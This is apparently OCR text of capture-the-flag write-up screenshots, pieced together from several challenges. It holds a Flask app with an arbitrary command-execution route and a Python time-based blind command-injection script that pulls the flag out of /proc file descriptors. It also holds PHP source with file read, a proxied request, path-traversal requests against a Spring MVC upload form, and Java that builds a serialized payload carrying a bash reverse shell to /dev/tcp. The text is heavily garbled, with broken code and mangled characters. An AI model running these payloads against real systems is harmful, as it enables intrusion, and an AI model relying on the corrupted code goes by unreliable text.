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from flask import Flask, request
import os
app = Flask(__name__ )

flag_file = open("flag.txt", "r")
# flag = flag file.read()

# flag file.close()

#

# @app.route('/flag')

# def flag():

# return flag

## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell")
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c’)
os.system(exec_cmd)
return "1"

@app.route('/")
def source():
return open("app.py","r").read()

if _name__ == " main_ ":
app.run(host='0.0.0.0")
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#encoding:utf-8

import requests,time
import sys
import urllib

url="http://7c123fdf-f38e-4a4c-84ec-91e79abe2022.node3.buuoj.cn/shell?c="
letter="abcdeflg{}0123456789-"
def find_file(): ##Ff Lag
for i in range(255):
for n in range(39):
file="'/proc/{0}/fd/{1}"
file = file.format(i,n)
for m in range(1,5):
req = payload = r"sleep $(cat {@}|awk 'NR=={1}'|sed 's/.*\(flag{{.*}}\).*/\1/g'|cut -cl|tr f 3)"
.format(file, m)
tl=time.time()
requests.get(url+urllib.quote(payload))
t2=time.time()
while (req.status_code!=200):
tl=time.time()
req = requests.get(url+urllib.quote(payload))
t2=time.time()
print payload
if t2-t1>=2.5:
print file

def if_number(): ##EHif Lag FIBJLINES 7, WL, WEAE0, Miksleep /AT, (HEflagHtha 9, HrllfiH %o,
7 32 UEJR BB 99
number = |[]
for i in range(1,50):
#time.sleep(0.6)
payload = r"sleep $(cat /proc/11/fd/3 |sed 's/.*\(flag{{.*}}\).*/\1/g'|cut -c{@}|tr @ 9)".format(i)
tl=time.time()
req = requests.get(url+urllib.quote(payload))
t2=time.time()
while (req.status_code!=200):
tl=time.time()
req = requests.get(url+urllib.quote(payload))
t2=time.time()
print payload
if t2-t1>9:
number.append (' @***** ' +str(i)) #IZUWHIR L, FIRER0 B HL9, 4R GEARE 9
print number
elif t2-t1>=1:
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number.append(i)
print number

def get flag(): #h [ E7Ef Lag
number = [6, 7, 8, 10, 11, 12, 15, 16, 20, 22, 26, 27, 28, 31, 32, 34, 35, 39, 40, 41]
flag = "'

for i in range(1,50):
if i in number:
flag += 'x' #HFHXE
continue
for n in letter:
#time.sleep(0.6)
payload = r"sleep $(cat /proc/11/fd/3 |sed 's/.*\(flag{{.*}}\).*/\1/g"'|cut -c{@}|tr {1} 4)".format(i

,n)
tl=time.time()
req = requests.get(url+urllib.quote(payload))
t2=time.time()
while (req.status_code!=200):
tl=time.time()
req = requests.get(url+urllib.quote(payload))
t2=time.time()
print payload
if t2-t1>=3.5 :
flag += n
print flag
break
get flag()

#flag{912f020-48ca-4abb-b927-a76a45fab649}
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<?php
error_reporting(0);
require _ DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;
highlight file(_FILE );

if(isset($_GET[ 'flag'])) {
Sclient = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible’);
Scontent = $response->getBody();
$data = json_decode($content, TRUE);
if($data[ 'success'] === true) {
echo system('/readflag');

}
}

if(isset($_GET[ 'file'])) {
highlight file($ _GET[ 'file']);
}

if (isset($_GET[ 'phpinfo'])) {
phpinfo();
}
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HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Sat, 29 Feb 2020 ©5:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive

Content-Length: 16

{"success":true}
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Target: http://node3.buuoj.cn:25028

Request

' Raw f Params [ Headers ' Hex

Response

' Raw | Headers [ Hex | Render ‘

GET /?flag=123 HTTP/1.1
Host: node3. buuoj. cn:25028

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:73.0)

Gecko/20100101 Firefox/73.0
Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp

,¥/¥,0=0.8
Accept-Language:

zh—CN, zh;q=0. 8, zh—-TW;q=0. 7, zh-HK; q=0. 5, en-US;q=0. 3, en;q=0. 2

Accept—-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max—age=0
Proxy:http://174.0.213. 118:8888

#007700">])) &nbsp; [<br

/>&nbsp ;&nbsp;&nbsp;&nbsp;:<{/span>{span style="color:
#0000BB">highlight_file</span>{span style="color:
#007700"> ({/span><{span style="color:
#0000BB">$_GET</span><span style="color:

#007700"> [</span><{span style="color:

#DD0000">' fi le'</span><{span style="color: #007700">]) ;<br
/>)<br /><br />if(isset ({/span><{span style="color:
#0000BB">$_GET</span><span style="color:

#007700"> [{/span><span style="color:
#DD0000"> "' phpinfo'<{/span><{span style="color:

#007700">1)) &nbsp; [<br

/>&nbsp ;&nbsp;&nbsp;&nbsp;<{/span><{span style="color:
#0000BB">phpinfo</span><{span style="color: #007700">() ;<br
/>)<br /></span>

<{/span>

</code>flag [c4edcb6fd-699a-422f-a%aa-1ca38320ce2c)
flag{cdedcb6fd—69%a-422f-a%aa—1ca38320ce2c)
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? | Ch\Users\asus\Desktopjavamvci\springmvcdemo_2.war\WEB-INF,
Fu EEEF EXEE

11 145 5582 2019-04-12 0...
9 626 066 8548 007 2019-04-12 0.
resource 3 160 593 3144953 2019-04-12 0.
£ applicationContext.xml 1553 628 2019-04-09 1...
= dispatcher-servletxml 307 163 2019-04-08 2...
[ hellojsp 525 353 2019-04-10 2.
D notaccess,jsp 518 350 2019-04-10 2.
[ enlypicjsp 485 335 2019-04-10 2...
[ ] showpic,jsp 587 359 2019-04-10 2...
[ | uploadpicjsp 738 442 2019-04-10 2.
& web.axml 1205 428 2019-04-09 2..
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I ® 127.0.0.1:801/springmvcdemoy/showpic.form?file=/../webxml aee [+
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AAp3TWIEYWEhZ2Vy cHOABWF kbWiu; <fieldsat>
JSESSIONID=0ABE4BEAEDBE153004B20C52CE160973 <legend>SelectPic</lzgend>
Upgrade-Insecure-Requests: 1 <form action="/springmvcdemo/uploadpic.form” methed="post" enctype="multipart/form-data">
File:<input type="file" name="filz">
----------------------------- 1509589815263599434?21'31271 04 <input type="submit" value="submit"=
Content-Disposition: form-data; name="file"; fil§hame="../../..[. .faaaxxxsss txt" <fform>
Content-Type: text/plain
<h3>upload path</h3=>
https:ihaww. 52pojie.cnithread-327415-1-1.html <h3>C:\Users\asus'Desktop'tools\Java'ezspringMVCloutiartifacts\ezSpringMVC_war_exploded\WEB-INF\
————————————————————————————— 1650958981626359943472123127104- resourcel../../../../Jaaaxxxsss.tut</h3>
</body>
</html>
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ProcessBuilder builder = new ProcessBuilder
builder.command("sh", "-c", "ls"
Process process = builder.start
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Main.java

SR J5 thi cookie

Base64.Encoder encoder = Base64.getEncoder
Tools tools = new Tools
String commands[]={"bash","-c","bash -i>& /dev/tcp/127.0.0.1/1234 0>&1"
tools.setTestCall(commands
byte[] obj = Tools.create(tools
System.out.println(encoder.encodeToString(obj
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